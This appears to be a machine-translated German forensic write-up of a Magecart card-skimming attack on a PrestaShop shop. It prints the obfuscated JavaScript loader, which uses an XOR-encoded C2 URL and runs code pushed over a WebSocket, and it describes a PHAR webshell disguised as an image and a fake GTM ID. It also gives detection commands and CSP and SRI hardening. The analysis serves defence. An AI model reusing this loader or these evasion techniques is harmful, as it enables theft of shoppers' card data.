Einen echten Magecart-Angriff auf PrestaShop analysieren

Sobald der Angreifer drinnen war, lud er den wichtigsten Persistenzmechanismus hoch: eine Datei 62.528 Bytes im Modulverzeichnis, mit der Erweiterung .jpg. Es handelte sich nicht um ein Bild.

Es handelte sich um eine PHP PHAR (PHP-Archiv)-Datei, die nach ihrer Ausführung 270 KB voll funktionsfähiger Webshell bereitstellte, nachdem sie diese Dekodierungskette durchlaufen hatte:

XOR 0xFF → rot13 → base64_decode → gzinflate → webshell

Wenn diese Datei aktiv ist, konnte der Angreifer jederzeit: jede Datei auf dem Server lesen, ändern, erstellen oder löschen und beliebige SQL-Abfragen direkt in der Datenbank ausführen. Kein Passwort. Kein direktes Zugriffsprotokoll.

Um es in kompromittierten Systemen zu erkennen, kann diese Art von Dateien gefunden werden mit:

find /ruta/httpdocs \( -name "*.jpg" -o -name "*.png" -o -name "*.gif" \) \
  | xargs file | grep -i "php\|phar\|script"

Der Loader: chirurgische Injektion in ein legitimes JS

Die Hauptnutzlast wurde am Ende injiziert .aus der JavaScript-Datei der jBox-Bibliothek, die von einem im Store installierten WhatsApp-Modul verwendet wird. Die Auswahl einer JS-Datei aus einer legitimen und weit verbreiteten Bibliothek ist kein Zufall: Sie erschwert die Erkennung, da die Datei vor der Nutzlast Tausende Zeilen echten Codes enthält.

Der injizierte Code, vereinfacht:

let qfw = window;
let olg = qfw['at'['concat']('o', 'b')]; // atob() construido dinámicamente
let fdjc = qfw['Function'];               // Function constructor ofuscado
let rix = olg('Y29uc3QgaHRjbi...');       // payload en base64
fdjc(rix).call(this);

Bei der Decodierung von base64 erscheint die zweite Verschleierungsebene:

const htcn = [93,89,89,16,5,5,71,82,70,73,...]; // URL del C2 como array XOR
zlh = 42;
const ohlb = String.fromCharCode(...htcn.map(e => e ^ zlh));
// resultado: "wss://mxlclinfo.com/stats?source="
window.ww = new WebSocket(ohlb + encodeURIComponent(location.href));
window.ww.addEventListener('message', event => {
    new Function(event.data)(); // ejecuta en tiempo real lo que envíe el C2
});

Zwei absichtliche Umgehungstechniken:

1. atoberscheint nie als String-Literal – es wird dynamisch mit erstellt.concat()um Klartextsuchen und einige signaturbasierte WAFs zu umgehen.
2. Die C2-Server-URL steht in der Datei niemals im Klartext. Es ist als Array von Ganzzahlen mit dem XOR-Schlüssel 42 kodiert. Ein Scanner, der in JS-Dateien nach Domänen oder URLs sucht, wird es nicht finden.

So suchen Sie auf dem Server nach infizierten JS-Dateien mit ähnlichen Mustern:

grep -r "atob\|fromCharCode\|WebSocket\|new Function" \
  /ruta/httpdocs/modules \
  --include="*.js" -l | grep -v "node_modules\|vendor"

Der C2-Server: dynamische Nutzlast über WebSocket

Die Dominanz von C2 warmxlclinfo.com, speziell für diese Aktion registriert. Der WebSocket-Handshake hat a zurückgegebenHTTP 101 Switching Protocolskorrekt, was bestätigt, dass der Server zum Zeitpunkt der Analyse aktiv war und Nutzlasten bereitstellte.

Aus forensischer Sicht am relevantesten:Die endgültige Nutzlast wurde nie auf dem Store-Server gespeichert. Es wurde dynamisch und in Echtzeit über WebSocket an den Browser jedes Besuchers übermittelt. Dies hat zwei direkte Konsequenzen:

• Der Skimmer ist durch die statische Dateianalyse auf dem Server praktisch nicht erkennbar.
• Die Nutzlast kann sich jederzeit ändern, ohne dass sich etwas im festgeschriebenen Speicher ändert.

Zu den Nutzdaten, die C2 an den Browser des Kunden übermittelte, gehörte: Erkennung des Zahlungszeitpunkts durchsetIntervalkombiniert mit_waitElements, Ersetzen des legitimen Redsys-Formulars durch ein optisch identisches Formular und stilles Abfangen und Herausfiltern der Kartennummer, des CVV und des Ablaufdatums vor der Weiterleitung der Transaktion an den tatsächlichen Prozess.

Zweite Persistenzschicht: der gefälschte GTM

Als zusätzlichen Persistenzmechanismus modifizierten die Angreifer die Store-Theme-Vorlagen, indem sie die ID des legitimen Google Tag Manager-Containers ersetzten (GTM-KZKRNJ4) für eine Fälschung (GTM-000KZKRNJ4000).

Der Unterschied zwischen beiden IDs bleibt bei einer kurzen visuellen Prüfung des Quellcodes völlig unbemerkt. Der bösartige GTM-Container fungierte als alternativer Loader für den Skimmer: Selbst wenn die kompromittierte JavaScript-Datei bereinigt wurde, war der Angriff über diesen zweiten Kanal weiterhin aktiv.

Diese Technik der Verwendung von GTM als Persistenzvektor ist seit 2021 in Magecart-Kampagnen dokumentiert und bleibt gerade deshalb effektiv, weil Administratoren die in ihren Vorlagen vorhandenen GTM-IDs selten prüfen.

Zuschreibung: Magecart mit Blinkern der Gruppe 7/8

Die verwendeten Techniken stehen im Einklang mit der Vorgehensweise des Magecart-Ökosystems, insbesondere mit den in den Varianten der Gruppen 7 und 8 dokumentierten Indikatoren:

Indikator	Detail
C2-Infrastruktur	Ad-hoc-Domain für die Kampagne registriert, ohne legitime Präsenz
WebSocket über WSS	Vermeidung von weniger restriktivem CSP und fehlender Nutzlast auf der Festplatte
Array-XOR-Verschleierung	Wiederkehrendes Muster in Kampagnen dieser Gruppen seit 2023
GTM als Sekundärlader	Dokumentierte Technik, die JS-unabhängige Persistenz garantiert
PHAR-Webshell	Zeigt den Zugriff auf professionelle Einbruchstools an, nicht auf ein Amateurskript

Dies ist kein opportunistischer Angreifer, der einen öffentlichen Exploit entdeckt und ihn einfach ausgeführt hat. Die Kombination von Vektoren, die ausgefeilte Verschleierung und die Verwendung des GTM als unabhängige Sekundärschicht deuten auf einen Akteur mit echter Erfahrung in dieser Art von Operationen hin.

Echte Auswirkungen: Wovon ist auszugehen?

Zahlungsdetails: Bei allen Kunden, die zwischen dem 3. und 10. März einen Kauf abgeschlossen haben, sind Kartennummer, CVV, Ablaufdatum und Name gefährdet. Das genaue Volumen muss noch mit den Transaktionsprotokollen abgeglichen werden.

Persönliche Daten: Die Datenbank enthält Kundendatensätze mit E-Mail, Name, Postanschrift, Telefonnummer und Bestellhistorie. Die Angreifer hatten sieben Tage lang vollständigen Zugriff. Auf dem Server wurden keine Exportdateien gefunden, aber eine direkt über Adminer oder Webshell durchgeführte Exfiltration hinterlässt keine Spuren auf der Festplatte. Es kann nicht bestätigt, aber auch nicht ausgeschlossen werden. Artikel 33 der DSGVO verlangt die Anwendung des Vorsorgeprinzips: Im Zweifelsfall benachrichtigen. Maximaler Zeitrahmen: 72 Stunden ab Kenntnis des Vorfalls.

Behebung: CSP als sofortige Eindämmungsmaßnahme hinzugefügt

Header always set Content-Security-Policy "\
  default-src 'self' https://www.googletagmanager.com; \
  script-src 'self' 'unsafe-inline' https://www.googletagmanager.com https://www.google-analytics.com; \
  connect-src 'self' https://www.google-analytics.com; \
  form-action 'self' https://sis.redsys.es; \
"

Ein korrekt konfigurierter CSP mit restriktivem connect-src hätte den WebSocket von Anfang an blockiert. Es handelt sich um eine der effektivsten und am wenigsten implementierten Präventionsmaßnahmen in mittelgroßen Geschäften.

Was diesen Angriff verhindert hätte

Ich mache diese Analyse immer, wenn ich einen Vorfall schließe, weil es das Nützlichste ist, was ich dokumentieren kann:

Dateiintegritätsüberwachung. Mit AIDE, Tripwire oder einem gleichwertigen Lösungsüberwachungsmodul und Vorlagenverzeichnissen hätte die Injektion in die JS-Datei zum Zeitpunkt ihres Auftretens eine Warnung generiert. Aus sieben Tagen der Gefährdung werden Stunden.

Content-Sicherheitsrichtlinie von Anfang an. Die connect-src-Richtlinie zum Blockieren nicht autorisierter Domänen hätte die WebSocket-Verbindung zu C2 verhindert und den Angriff unwirksam gemacht, selbst wenn der Loader vorhanden gewesen wäre.

Subressourcenintegrität in kritischem JS. Ein SRI-Hash über die JS-Dateien des Checkouts hätte verursacht Der Browser lehnt die Ausführung der kompromittierten Datei automatisch ab:

<script src="jBox.min.js"
        integrity="sha384-[hash_del_archivo_limpio]"
        crossorigin="anonymous"></script>

Regelmäßige Prüfung von Mitarbeiterkonten. Ein in der Produktion aktives Konto mit Domäne @prestashop.com ist ein Warnsignal, das bei jeder Routineüberprüfung hätte erkannt werden müssen.

Admin-Tools wurden nach der Verwendung entfernt. Der Adminer war seit achtzehn Monaten in der Produktion. Die Regel ist einfach: Wenn Sie es gerade nicht brauchen, sollte es nicht da sein.

PrestaShop und aktualisierte Module. Viele der Vektoren, die diese Angriffe ausnutzen, sind Schwachstellen, die in neueren Versionen behoben wurden. Laufende Wartung von PrestaShop und Aktualisierungen von PrestaShop-Updates schließen den größten Teil der Angriffsfläche, bevor sie ausgenutzt wird.